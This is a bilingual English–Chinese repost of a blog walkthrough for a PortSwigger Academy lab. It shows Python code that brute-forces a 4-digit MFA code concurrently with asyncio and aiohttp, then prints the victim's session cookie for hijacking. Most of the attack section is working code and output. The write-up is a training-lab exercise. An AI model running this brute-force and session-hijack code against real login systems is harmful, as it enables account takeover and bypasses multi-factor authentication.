暴力破解MFA代码的“中间”

As they say, necessity is the mother of invention.

正如他们所说,必要性是发明之母。

In my case, I was tasked with attempting to brute-force a 4-digit multi factor authentication code for a lab from Portswigger Academy. This amounts to 10k possibilities (10 digits ^ 4) ranging from 0000 to 9999. On the surface this doesn’t look terribly hard, if it were not for the fact that:

在我的情况下,我的任务是尝试为Portswigger Academy的实验室暴力破解4位数字的多因素身份验证代码。 这相当于10000种可能性(10位^ 4),范围从0000到9999。从表面上看,这并不是很难,如果不是因为以下事实:

  • Burp Suite’s Intruder tool is speed-throttled for the Community Edition, which makes fuzzing through all those values very slow. The lab will likely time out before you can actually find the right code.

    Burp Suite的Intruder工具为Community Edition速度限制,这使得模糊所有这些值变得非常缓慢 在您实际找到正确的代码之前,该实验室可能会超时。

  • I am currently too broke to shell out $400 for the Professional license.

    目前,我太不愿意花400美元购买专业版许可证了。

This kind of situation is as good as any to build out some custom code!

这种情况与构建一些自定义代码一样好!

要求模糊 (Request Fuzzing)

We can use the Requests Python library for all kinds of HTTP interaction. In the sample below, I’ve extracted a few key values to insert into the request to make it all work:

我们可以使用Requests Python库进行各种HTTP交互。 在下面的示例中,我提取了一些键值插入到请求中以使其全部正常工作:

  • Session cookie: linked to the CSRF prevention token; we cannot perform the POST request without the two of them.

    会话cookie:链接到CSRF预防令牌; 如果没有这两个请求,我们将无法执行POST请求。

  • Verify cookie: enables access to the ‘login2’ URI, which triggers the generation of a new code. The code is generated for the user described in the cookie (we break MFA in this lab by generating a token for the victim.

    验证cookie:启用对“ login2” URI的访问,这将触发新代码的生成。 该代码是针对Cookie中描述的用户生成的(在本实验中,我们通过为受害者生成令牌来破坏MFA。

  • CSRF token: This gets generated each unique time a user gets prompted for input, and is mandatory for the POST request.

    CSRF令牌 :每次用户提示输入时都会生成此令牌,这对于POST请求是必需的。

  • MFA-Code: the field name for the code we input.

    MFA-Code :我们输入的代码的字段名称。

Note that we instructed it to avoid url redirects, as it would cause the status code to show up as 200 instead. We need the 302 code in this case to verify that the code submission was successful.

请注意,我们指示它避免URL重定向,因为它会导致状态代码显示为200。 在这种情况下,我们需要302代码来验证代码提交成功。

import requests
# Testing out the normal Requests logic and setting up our header + data payloads
# using the account we have access to to obtain the verification code.


cookies = {
    'session':'eGXnwz9tdrnIUuCuwu0znWm8O1Uiwh09',
    'verify':'wiener' # This is what enables the code to be generated
}


# CSRF prevention token - the post request will not work without it
csrf = 'RmdhFXKT0eYw6FFi1AgXiK19MOz7IYPP'


payload = {
    'csrf':csrf,
    'mfa-code':'1810'
}


# Code is generated when this page is visited
url = 'https://ac3a1f3b1f5a6b9c80e43b1d00f3000f.web-security-academy.net/login2'


# Need to have redirects disabled to confirm that the code is correct
attempt = requests.post(url=url, cookies = cookies, data = payload, allow_redirects=False)


print(attempt.status_code)
print(attempt.text)


# Output:
302

Before we attempt to brute force the values, we need to generate them in a list to iterate over. This is fairly easy to do with a combination of the range() function and some string interpolation (since ‘0’ is a valid digit, we need to left pad our numbers).

在尝试暴力破解值之前,我们需要在列表中生成它们以进行迭代。 结合使用range()函数和一些字符串插值,这很容易做到(由于“ 0”是有效数字,因此我们需要对数字进行填充)。

It’s not totally necessary for this lab, but I thought it’d be nice to shuffle the values around via the random library. It could either make the attempts look more random during an actual attack, or increase the speed of finding the right code if it was closer to the high end of the spectrum.

对于本实验来说,这不是完全必要的,但我认为最好通过随机库将值改组。 它可以使尝试在实际攻击中看起来更加随机,或者可以提高找到正确代码的速度(如果更接近频谱的高端)。

import random


# Now to generate our fuzzing values (left padded w/zeroes). 
digits = 4
# Convert the integer range to strings left-padded with 0
possibilities = [f'{i:0{digits}}' for i in range(0, 10 ** digits)]


# Randomize order to make it less obvious.
random.seed(1337)
fuzzing = random.sample(possibilities, len(possibilities))


# Test outputs.
test = fuzzing[:10]
print(possibilities[:10], '\n', test)


# Output


['0000', '0001', '0002', '0003', '0004', '0005', '0006', '0007', '0008', '0009'] 
 ['8737', '5994', '9354', '9597', '2714', '5452', '6286', '5895', '5040', '6415']

Let’s give it a whirl and see how it does with 10 values.

让我们旋转一下,看看它如何处理10个值。

# Speed test the standard looping method.


cookies = {
    'session':'6Wo9Aw13SvZDhqDvfjko031OSdMPsD3x',
    'verify':'wiener'
}


csrf = '9VydJhbje3ohI1zt97mv0BgSUBk1crQQ'
url = 'https://acab1fe11f27831180747053006c00ca.web-security-academy.net/login2'


sync_start = time.time()
with requests.Session() as s:
    s.cookies = requests.cookies.cookiejar_from_dict(cookies)
    for code in test:
        payload = {
        'csrf':csrf,
        'mfa-code':code
        }
        try:
            attempt = s.post(url=url, cookies=cookies, data=payload)
            print(f'Attempt {fuzzing.index(code) + 1}', attempt.status_code)
        except:
            pass
    
sync_perf = time.time() - sync_start
print(sync_perf)


# Output
Attempt 1 200
...
Attempt 10 200
4.472953796386719

About four and a half seconds, which doesn’t seem bad. However, if we were to scale this up to the full 10k possibilities this would take around 75 minutes. Not ideal, especially if we had to deal with a 6+ digit code.

大约四个半秒,这似乎还不错。 但是,如果我们将其扩展到全部10k可能性,则大约需要75分钟 。 这并不理想,特别是如果我们必须处理6位以上的数字代码。

并行工作 (Parallel Work)

The problem here is that although we’ve got Python automating our fuzzing, each iteration of the for-loop bottlenecks the others waiting in queue. If your requests can only go so fast, then your time to completing the entire loop is going to scale according to the amount of options you need to work through. If we had to use the previous method to work on a 6-digit code, it would take us 5 days to run through the whole list as a single loop.

这里的问题是,尽管我们已经让Python自动执行了模糊测试,但是for循环的每次迭代都会使其他等待队列的瓶颈。 如果您的请求只能如此之快,那么您完成整个循环的时间将根据您需要处理的选项数量而定。 如果我们必须使用先前的方法来处理6位代码,则整个循环作为一个循环要花费5天

Now, I suppose you could chop up the list into small pieces and run the script simultaneously on each, but that is a bit clunky (inelegant, the academics might say). It is, however, a good foreshadowing of our solution.

现在,我想您可以将列表切成小块,然后在每个块上同时运行该脚本,但这有点笨拙(学者可能会说这很笨拙)。 但是,这是我们解决方案的良好预示。

Data scientists take advantage of a concept called vectorization, in which a mathematical operation can be applied to an array (list of elements) not one at a time, but all at once. This presents huge gains in performance.

数据科学家利用称为矢量化的概念,在该概念中,数学运算可以一次应用于一个数组,而不是一次应用于数组(元素列表)。 这带来了巨大的性能提升。

There isn’t, unfortunately, a pure way of using vectorizing HTTP requests, but we can mimic it by using asynchronous requests. The asyncio Python library allows us to run additional functions while another functions are still waiting to finish, making the processes practically simultaneous (not truly concurrent, but close enough for our needs).

不幸的是,没有使用向量化HTTP请求的纯粹方法,但是我们可以通过使用异步请求来模仿它 异步 Python库允许我们在其他功能仍在等待完成的同时运行其他功能,从而使进程实际上是同时进行的(不是真正的并发,但足够满足我们的需求)。

Combined with the aiohttp library, we can make many requests and wait for the responses to come in at their own leisure.

结合使用aiohttp库,我们可以发出许多请求,并等待响应随意出现。

# Speed test the async method


cookies = {
    'session':'6Wo9Aw13SvZDhqDvfjko031OSdMPsD3x',
    'verify':'wiener'
}


csrf = '9VydJhbje3ohI1zt97mv0BgSUBk1crQQ'
url = 'https://acab1fe11f27831180747053006c00ca.web-security-academy.net/login2'


# Create async function
async def attempt(code, lst, session):
    payload = {
        'csrf':csrf,
        'mfa-code':code
    }
    try:
        async with session.post(url=url, data=payload) as attempt:
            print(f'Attempt {lst.index(code) + 1}', code, attempt.status)
    except:
        pass
    
async_start = time.time()
async with aiohttp.ClientSession(cookies=cookies) as session:
    # Cap on max concurrent
    sem = asyncio.Semaphore(100)
    async with sem:
        await asyncio.gather(*[attempt(code, fuzzing, session) for code in test])
        
async_perf = time.time() - async_start
print(async_perf)


# Notice how these aren't in order since responses are retrieved asynchronously
# This method is ~10x faster!


# Output: 
Attempt 6 5452 200
Attempt 1 8737 200
...
Attempt 2 5994 200
Attempt 9 5040 200
0.47961997985839844

This method turned out to be almost 10x as fast as our previous for-loop! Which makes sense, because we were essentially able to make 10 requests at about the same time. Using the code below, we were able to crack the victim’s 4 digit code in 40 seconds*!

事实证明,这种方法的速度几乎是我们以前的for循环的10倍! 这很有意义,因为我们基本上能够同时发出10个请求。 使用下面的代码,我们能够在40秒内破解受害者的4位数字*

*Not what it would take for the whole set of 10k, but how long it took to get to this particular answer.

*这不是整个10k所需的时间,而是获得此特定答案所需的时间。

# Let's obtain the code for carlos


cookies = {
    'session':'VzSeyXA9pRh7GQgfpXQFAomqoGZaeW8p',
    'verify':'carlos'
}


csrf = 'R59rdupwmhoRxXTe0OXSAuNGOqXdZpb4'
url = 'https://ac861f031e45d52180a946ea00b9000f.web-security-academy.net/login2'


async def attempt(code, lst, session):
    payload = {
        'csrf':csrf,
        'mfa-code':code
    }
    
    try:
        async with session.post(url=url, data=payload, allow_redirects=False) as attempt:
            # print(f'Attempt {lst.index(code) + 1}', code, attempt.status)
            if attempt.status == 302:
                # show the session cookie to hijack
                print(attempt.cookies['session'])
                # Stop the process since we have the right code. 
                # You may need to still kill the cell manually
                await session.close()
    except:
        pass




async with aiohttp.ClientSession(cookies=cookies) as session:
    # Cap on max concurrent
    sem = asyncio.Semaphore(100)
    async with sem:
        await asyncio.gather(*[attempt(code, fuzzing, session) for code in fuzzing])
     
# Output
Set-Cookie: session=BULlS7oGME3cBvkHfDRsizmFQP7dLeGy; Domain=ac861f031e45d52180a946ea00b9000f.web-security-academy.net; HttpOnly; Path=/; Secure

Additional tests comparing synchronous (for-loop) vs asynchronous (asyncio) further emphasize the value of parallel work as the number of options to test increases.

比较同步(for循环)与异步(asyncio)的其他测试进一步强调了并行工作的价值,因为要测试的选项数量越来越多。

While we also want to avoid “premature optimization” (for-loops still have their place!), this concept of vectorization/asynchronous work is good to keep in the back of your mind when struggling to optimize for speed.

尽管我们也希望避免“ 过早的优化 ”(for循环仍然有其一席之地!),但是在努力优化速度时,矢量化/异步工作的这种概念很容易让您想到。

You can download my Jupyter notebook for your own experimentation: https://github.com/yisoonshin/atelier/blob/master/Brute-Force/2FA%20broken%20logic%20-%20Async%20Brute%20Force.ipynb

您可以下载自己的Jupyter笔记本进行自己的实验: https : //github.com/yisoonshin/atelier/blob/master/Brute-Force/2FA%20broken%20logic%20-%20Async%20Brute%20Force.ipynb

In case this was a bit dry, let’s close with a light-hearted analogy of our problem and solution:

万一这有点干,让我们以轻松的类比结束我们的问题和解决方案:

演示地址

翻译自: https://medium.com/atelier-de-sécurité/middle-out-for-brute-forcing-mfa-codes-7bd5cde01184

你可能感兴趣的:(python)